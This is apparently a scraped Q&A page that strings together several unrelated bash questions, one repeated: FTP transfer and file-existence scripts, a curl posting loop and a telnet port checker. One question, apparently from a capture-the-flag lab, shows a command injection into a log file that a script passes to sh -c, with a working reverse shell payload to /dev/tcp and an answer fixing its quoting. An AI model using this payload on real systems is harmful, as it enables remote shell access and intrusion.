ftp while do error - bash

Anyone can help what will be the problem?
Host='192.153.222.1'
User='ftpuser'
passwd='apple'
logfile='a.log'
while :; do
ftp -n -p -v $HOST < example.script >> $logfile
grep -qF "Connected" $logfile &&
grep -qF "File successfully transferred" $logfile && break
done
quote USER $USER
quote PASS $PASSWD
example.script contains
put example.txt
The error is
./example.sh: line 20: syntax error: unexpected end of file

Some fixes:
You missed the closing quote in:
Host='192.153.222.1'
Use a single <, otherwise it's an "here document" in:
ftp -n -p -v "$HOST" < example.script >> "$logfile"

Why you use << in this line?
ftp -n -p -v $HOST << example.script >> $logfile
Change it to
ftp -n -p -v $HOST < example.script >> $logfile
It will work :-)

Related

How to check if files exists in FTP? [duplicate]

I want to automate a batch job that does the following:
check if my file.txt exists in a FTP server, I rename it to
file.trt
check if my file.txt and file.trt exist, if so I send an email
I run another script
at the end I delete file.trt
Here's what I have done:
#!/bin/bash
host='ftp.xxxx.com'
USER='xxxx'
PASSWD='xxxx'
ftp -n -v $host << EOF
ascii
user $USER $PASSWD
prompt
mls /TEST/file.txt test.txt
quit
EOF
if [[ $? -eq 0 ]]
then
echo "The File file.txt Exists";
else
echo "The File file.txt dons not Exist";
fi
Am confused and don't know how to do it, can someone please help me?
I did this and it works fine:
#!/bin/bash
host='ftp.xxxx.com'
USER='xxxx'
PASSWD='xxxx'
FTPFile1="/TEST/file.txt"
FTPFile2="/TEST/file.trt"
#search file.txt et file.trt on the ftp server
ftp -n -v $host << EOT
ascii
user $USER $PASSWD
prompt
mls $FTPFile1 $FTPFile2 test.txt
quit
EOT
# # ----------------------------------------------------------------------------------------------------------------------#
# # test if file.txt et file.trt are present => send mail
# # ----------------------------------------------------------------------------------------------------------------------#
if grep -inr '/TEST/file.txt' test.txt && grep -inr '/TEST/file.trt' test.txt
then
echo "" | mail -s "aaaaa] Error, aaaaa." mail#mail.fr -c mail#mail.fr
elif grep -inr '/TEST/file.txt' test.txt
then
echo "The File file.trt does not Exist (no loading at the moment), rename file.txt to file.trt and start loading";
# ----------------------------------------------------------------------------------------------------------------------#
# rename file.txt
# ----------------------------------------------------------------------------------------------------------------------#
ftp -n -v $host<< EOT
user $USER $PASSWD
get $FTPFile1 file.txt
rename $FTPFile1 $FTPFile2
quit
EOT
else
echo " file.txt (file not yet ready). No action to do."
fi
# ------------------------------------#
ftp -n -v $host << EOT
user $USER $PASSWD
get $FTPFile1 file.txt
quit
EOT
TRT_DATE=`cat file.txt | grep -Po "[0-9]{8}"`
# run my_script.sh
./my_script.sh -d $TRT_DATE
#delete file.txt et test.txt
rm -f file.txt test.txt
# delete file.trt
ftp -n -v $host << EOT
user $USER $PASSWD
delete $FTPFile2
quit
EOT
exit 0

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

Bash Curl Loop Repeation

I have this question, why my context in file is not being submit properly from bash script, I just want to post my context in file to server via my parameters.
Error: My complete directory listings get posted into server.
#!/bin/bash
rm cookiestore.txt
rm output.txt
echo -e ""
echo -e "[-] Input Setting "
echo -ne "[+] Enter Host : "
read Host
echo -e "[?] Obtaining Cookie "
curl --silent --cookie-jar cookiestore.txt $Host > /dev/null
echo -ne "[+] Enter Parameters : "
read Parameters
echo -ne "[+] Enter File Path : "
read Filepath
echo -e ""
echo -e "[-] Performing Request "
echo -ne "[?] Checking Response URL : "
curl -sI $Host -w '%{response_code}%{redirect_url}\n' -o /dev/null
echo -ne "[?] Final Redirected Url : "
curl -Ls $Host -o /dev/null -w '%{url_effective}'
echo -e ""
echo -e ""
echo -e "[-] Posting "
echo -e "[+] Output file : output.txt"
echo -e ""
while read query
do
content=$(curl -L -X POST $Host --data "{$Parameters${query}}")
echo $query
echo $content >> output.txt
done < query.txt
echo -e ""
echo -e "[-] Finished "
echo -e ""

Linux telnet shell script

I'm trying to read multiple hosts and ports from a text file (ip.txt) and check if they are connected/failed to connect/timed out, and echo the responses to Telnet_Success.txt/Telnet_Failure.txt/Telnet_Refused.txt files
I have tried the following script, it simply shows all the connection results as failed, but when checking manually one by one, I find some of them connected. any help is appreciated.
Here is the script:
>Telnet_Success.txt
>Telnet_Refused.txt
>Telnet_Failure.txt
file=ip.txt
while read line ; do
ip=$( echo "$line" |cut -d ' ' -f1 )
port=$( echo "$line" |cut -d ' ' -f2 )
if telnet -c $ip $port </dev/null 2>&1 | grep -q Escape; then
echo "$ip $port Connected" >> Telnet_Success.txt
elif telnet -c $ip $port </dev/null 2>&1 | grep -q refused; then
echo "$ip $port Refused" >> Telnet_Refused.txt
else
echo "$ip $port Failed" >> Telnet_Failure.txt
fi
done < ${file}
I can't tell you exactly what's failing from the diagnostics you have provided, but it's definitely a problem that you attempt to call telnet multiple times - you could get different outcomes each time, producing bugs which are hard to troubleshoot. You also have some stylistic issues in your code.
Try this refactoring; see the inline comments.
>Telnet_Success.txt
>Telnet_Refused.txt
>Telnet_Failure.txt
# Why use a variable for something you only reference once anyway?
file=ip.txt
# Use the shell's field splitting facility
# Cope with missing final newline; see
# https://mywiki.wooledge.org/BashFAQ/001#My_text_files_are_broken.21__They_lack_their_final_newlines.21
while read -r ip port _ || [[ -n $port ]]; do
# Run telnet once, capture result for analysis
output=$(telnet -c "$ip" "$port" </dev/null 2>&1)
case $output in
*Escape*)
echo "$ip $port Connected" >> Telnet_Success.txt;;
*refused*)
echo "$ip $port Refused" >> Telnet_Refused.txt;;
*)
echo "$ip $port Failed" >> Telnet_Failure.txt;;
esac
# Always double quote file name variables, just in case
done < "${file}"
Hi looks like the telnet command is the culprit
should be "telnet ip port" not "telnet -c ip port"
file=ip.txt
while read line
do
ip=$( echo "$line" |cut -d ' ' -f1 )
port=$( echo "$line" |cut -d ' ' -f2 )
if telnet $ip $port </dev/null 2>&1 | grep -q Escape
then
echo "$ip $port Connected" >> Telnet_Success.txt
elif telnet $ip $port </dev/null 2>&1 | grep -q refused
then
echo "$ip $port Refused" >> Telnet_Refused.txt
else
echo "$ip $port Failed" >> Telnet_Failure.txt
fi
done < ${file}

Check if a file exist in FTP with an automated bash script

I want to automate a batch job that does the following:
check if my file.txt exists in a FTP server, I rename it to
file.trt
check if my file.txt and file.trt exist, if so I send an email
I run another script
at the end I delete file.trt
Here's what I have done:
#!/bin/bash
host='ftp.xxxx.com'
USER='xxxx'
PASSWD='xxxx'
ftp -n -v $host << EOF
ascii
user $USER $PASSWD
prompt
mls /TEST/file.txt test.txt
quit
EOF
if [[ $? -eq 0 ]]
then
echo "The File file.txt Exists";
else
echo "The File file.txt dons not Exist";
fi
Am confused and don't know how to do it, can someone please help me?
I did this and it works fine:
#!/bin/bash
host='ftp.xxxx.com'
USER='xxxx'
PASSWD='xxxx'
FTPFile1="/TEST/file.txt"
FTPFile2="/TEST/file.trt"
#search file.txt et file.trt on the ftp server
ftp -n -v $host << EOT
ascii
user $USER $PASSWD
prompt
mls $FTPFile1 $FTPFile2 test.txt
quit
EOT
# # ----------------------------------------------------------------------------------------------------------------------#
# # test if file.txt et file.trt are present => send mail
# # ----------------------------------------------------------------------------------------------------------------------#
if grep -inr '/TEST/file.txt' test.txt && grep -inr '/TEST/file.trt' test.txt
then
echo "" | mail -s "aaaaa] Error, aaaaa." mail#mail.fr -c mail#mail.fr
elif grep -inr '/TEST/file.txt' test.txt
then
echo "The File file.trt does not Exist (no loading at the moment), rename file.txt to file.trt and start loading";
# ----------------------------------------------------------------------------------------------------------------------#
# rename file.txt
# ----------------------------------------------------------------------------------------------------------------------#
ftp -n -v $host<< EOT
user $USER $PASSWD
get $FTPFile1 file.txt
rename $FTPFile1 $FTPFile2
quit
EOT
else
echo " file.txt (file not yet ready). No action to do."
fi
# ------------------------------------#
ftp -n -v $host << EOT
user $USER $PASSWD
get $FTPFile1 file.txt
quit
EOT
TRT_DATE=`cat file.txt | grep -Po "[0-9]{8}"`
# run my_script.sh
./my_script.sh -d $TRT_DATE
#delete file.txt et test.txt
rm -f file.txt test.txt
# delete file.trt
ftp -n -v $host << EOT
user $USER $PASSWD
delete $FTPFile2
quit
EOT
exit 0

Resources